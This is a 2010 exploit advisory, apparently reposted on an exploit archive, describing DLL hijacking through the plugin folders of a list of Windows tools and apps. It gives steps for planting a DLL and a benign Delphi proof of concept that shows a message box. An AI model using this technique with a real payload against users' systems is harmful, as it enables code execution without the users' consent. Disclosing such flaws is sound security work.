Plugins Dll Hijacking Exploit

=============================
Plugins Dll Hijacking Exploit
=============================

Exploit Title: [Dll Hijacking Exploit]
Application: [Application plugin support]
Date: [07 Sept 2010]
Author: [STRELiTZIA]
Version: [%Applications list%]
Tested on: [Windows Xp, Vista, Windows 7]

Description: 
------------
Allows other applications dynamic link libraries to execute malicious code without the users consent,
in the privilege context of the targeted application.
 
Download Test.dll link ()
 
Applications list: (Tested)
-----------------
FastScanner
ExeInfoPE
Stud_PE
PE Explorer
OllyDbg
IDA Pro (*.plw)
notepad++
Hex Workshop
Foxit Reader
PhotoFiltre Studio X
VLC Media player
Import REConstructor
PE Tools by NEOx
DiE- DETECT iT EASY 
 
Instructions:
-------------
1- Copy "Test.dll" into "Application\%plugin%"

Perform this tests:
-------------------
- Launch Application.

Test Dll Delphi Source:
---//---
Library Test;
uses
  Windows;

begin
  MessageBoxA
    (
    0,
    PChar('Yep, I''m running in your system without your permission :)'),
	PChar('Sample'),
    MB_ICONSTOP
    );
end.
---//---
c) 2010 by STRELiTZIA.



#  0day.today [2018-03-05]  #